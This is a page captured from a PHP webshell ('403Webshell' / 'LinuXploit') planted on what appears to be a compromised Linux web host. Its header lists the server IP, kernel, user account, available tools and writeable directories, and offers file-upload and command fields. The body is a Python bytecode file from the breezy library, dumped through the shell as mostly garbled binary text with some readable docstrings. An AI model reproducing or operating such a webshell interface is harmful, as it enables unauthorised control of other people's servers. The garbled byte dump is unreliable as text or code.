403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/multiwalker.cpython-313.pyc
�

p��g:.��,�SrSSKJrJr "SS5rg)z#Walk multiple trees simultaneously.�)�errors�osutilsc�r�\rSrSrSrSr\S5r\S5r\S5r	Sr
SrS	rS
r
SrSrS
rg)�MultiWalker�z=Walk multiple trees simultaneously, getting combined results.c�:�XlX l[5Ulg)a�Create a new MultiWalker.

All trees being walked must implement "iter_entries_by_dir()", such
that they yield (path, object) tuples, where that object will have a
'.file_id' member, that can be used to check equality.

:param master_tree: All trees will be 'slaved' to the master_tree such
    that nodes in master_tree will be used as 'first-pass' sync points.
    Any nodes that aren't in master_tree will be merged in a second
    pass.
:param other_trees: A list of other trees to walk simultaneously.
N)�_master_tree�_other_trees�set�_out_of_order_processed)�self�master_tree�other_treess   �4/usr/lib/python3/dist-packages/breezy/multiwalker.py�__init__�MultiWalker.__init__s��(��'��
(+�u��$�c�F�[U5upSX4$![a gf=f)zyStep an iter_entries_by_dir iterator.

:return: (has_more, path, ie)
    If has_more is False, path and ie will be None.
T�FNN)�next�
StopIteration)�iterator�path�ies   r�	_step_one�MultiWalker._step_one4s2��	"��H�~�H�D���>�!���	%�$�	%�s�
�
 � c�H�X:Xag[U[5(d$[SR[	U5U55e[U[5(d$[SR[	U5U55e[
R
U5[
R
U5:$)a�Compare two paths based on what directory they are in.

This generates a sort order, such that all children of a directory are
sorted together, and grandchildren are in the same order as the
children appear. But all grandchildren come after all children.

:param path1: first path
:param path2: the second path
:return: negative number if ``path1`` comes first,
    0 if paths are equal
    and a positive number if ``path2`` sorts first
Fz.'path1' must be a unicode string, not {}: {!r}z.'path2' must be a unicode string, not {}: {!r})�
isinstance�str�	TypeError�format�typer�_path_to_key)�path1�path2s  r�_lt_path_by_dirblock� MultiWalker._lt_path_by_dirblockBs����>���%��%�%��@�G�G���K����
�
�%��%�%��@�G�G���K����
�
�'�'��.��1I�1I�%�1P�P�Prc�X�[R"U5upURS5U4$)N�/)r�split)r�dirname�basenames   rr#�MultiWalker._path_to_keyds'��#�M�M�$�/����
�
�c�"�H�-�-rc�X�URXURRU55$)N)�_lookup_by_file_idr	�path2id)r
�
extra_entries�
other_tree�master_paths    r�_lookup_by_master_path�"MultiWalker._lookup_by_master_pathis+���&�&��t�'8�'8�'@�'@��'M�
�	
rc��X1;aURU5$URU5nUcgURRU5 [
URU/S95SnXE4$![Ra SnNVf=f)a�Lookup an inventory entry by file_id.

This is called when an entry is missing in the normal order.
Generally this is because a file was either renamed, or it was
deleted/added. If the entry was found in the inventory and not in
extra_entries, it will be added to self._out_of_order_processed

:param extra_entries: A dictionary of {file_id: (path, ie)}.  This
    should be filled with entries that were found before they were
    used. If file_id is present, it will be removed from the
    dictionary.
:param other_tree: The Tree to search, in case we didn't find the entry
    yet.
:param file_id: The file_id to look for
:return: (path, ie) if found or (None, None) if not present.
N�NN)�specific_filesr)�pop�id2pathr�NoSuchIdr�addr�iter_entries_by_dir)r
r1r2�file_id�cur_path�cur_ies      rr/�MultiWalker._lookup_by_file_idns���"�#� �$�$�W�-�-�	�!�)�)�'�2�H�����(�(�,�,�W�5��*�8�8��
�8�S�T�UV�W�F��%�%�����	��H�	�s�A'�'B�?Bc#�# �UR5Shv�N UR5 UR5Shv�N gN-N7f)z+Match up the values in the different trees.N)�_walk_master_tree�_finish_others�_walk_others)r
s r�iter_all�MultiWalker.iter_all�s=����)�)�+�+�+������$�$�&�&�&�	,�&�s�A�A�'A�A�A�Ac#�# �URR5nURVs/sHo"R5PM nnUVs/sHo@RU5PM nn[	[UR55Vs/sHn0PM nnSnURn	URn
U(Ga�U	"U5up�nU(dGO�/n
U
Rn/nURn[U5GHRununnnU(d3U"URUUURUU55 U"S5 MEURUR:XaU"UU45 U"U	"UU55 M|UUnUUnU(a\URUU5(aEURnUU
;aUU4UU'U	"U5unnnU(aURUU5(aMEU(a1URUR:XaU"UU45 U	"U5unnnO&U"URUURUU55 U"UUU45 GMU UnX�RX�4v� U(aGM�X0lXPl
Xplgs snfs snfs snf7f)z�First pass, walk all trees in lock-step.

When we are done, all nodes in the master_tree will have been
processed. _other_walkers, _other_entries, and _others_extra will be
set on 'self' for future processing.
TrN)r	r=r
r�range�lenr�append�	enumerater4r>r&�_other_walkers�_other_entries�
_others_extra)r
�master_iterator�other�
other_walkers�walker�
other_entries�_�others_extra�master_has_more�step_one�out_of_order_processedr�	master_ie�other_values�other_values_append�next_other_entries�next_other_entries_append�idx�other_has_more�
other_path�other_ie�other_walker�other_extra�
other_file_ids                        rrC�MultiWalker._walk_master_tree�s�����+�+�?�?�A��BF�BS�BS�T�BS��2�2�4�BS�
�T�>K�L�m�F����/�m�
�L�$)�#�d�.?�.?�*@�$A�B�$A�q��$A��B����>�>��!%�!=�!=���19�/�1J�.�_�I�"���L�".�"5�"5��!#��(:�(A�(A�%�?H��?W�;��;�n�j�(�%�'��3�3�(��-�t�/@�/@��/E�t���
.�.A�B��&�&�(�*:�*:�:�(��X�(>�?�-�h�}�S�7I�.J�K�$1��#5�L�".�s�"3�K�(�T�-F�-F�"�D�.�.�)1�(8�(8�
�(�0F�F�:D�h�9O�K�
�6�?G��?U�<��
�H�
)�T�-F�-F�"�D�.�.�&�(�*:�*:�i�>O�>O�*O�,�Z��,B�C�?G��?U�<��
�H�,� �7�7� +�T�->�->�s�-C�T���
.�~�z�8�.T�U�M@X�N/�M��)�)�9�B�B�g�o�h,��+��)���U��L��B�s6�)J�I7�J�
I<�$"J�J�EJ�BJ�$"Jc��[UR5HlupURUnUupEnU(dM"URnXpR;aXV4X7'URURU5upEnU(aMJMn U?g)z:Finish walking the other iterators, so we get all entries.N)rLrNrOr>rrrM)r
r_�infordr`rarbres        rrD�MultiWalker._finish_others�s���"�4�#6�#6�7�I�C��,�,�S�1�K�59�2�^�� �.� (� 0� 0�
� �(D�(D�D�2<�1G�K�.�7;�~�~��'�'��,�8�4��H�	!�.�8�
�rc
#��^# �[TR5H�up[UR5U4SjS9nUH�upEURnURU5 S/U-nUR
XE45 [TRUS-S5HKup�X�-S-nTRUn	TRUn
UR
TRX�U55 MM XFSU4v� M� M� g7f)z.Finish up by walking all the 'deferred' nodes.c�,>�TRUS5$)N�)r#)�xr
s �r�<lambda>�*MultiWalker._walk_others.<locals>.<lambda>�s����@Q�@Q�RS�TU�RV�@Wr)�keyr7rN)	rLrO�sorted�valuesr>r9rKr
r/)r
r_rd�othersrarbr>r[�alt_idx�	alt_extra�alt_trees`          rrE�MultiWalker._walk_others�s�����!*�$�*<�*<� =��C��K�.�.�0�6W�X�F�(.�$�
�"�*�*������(� ,�~��3���#�#�Z�$:�;�*3�D�4F�4F�s�Q�w�y�4Q�*R�&�G�%�m�a�/�G� $� 2� 2�7� ;�I�#�0�0��9�H� �'�'��/�/�	�W�M��	+S�!�4��=�=�)/�!>�s�C-C0)r	rNr
rMrOrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�staticmethodrr&r#r4r/rFrCrDrE�__static_attributes__�rrrrsi��G�-�*�"��"��Q��Q�B�.��.�
�
&�<'�K*�Z �>rrN)r|�rrrrrr�<module>r�s��"*��n>�n>r

Youez - 2016 - github.com/yon3zu
LinuXploit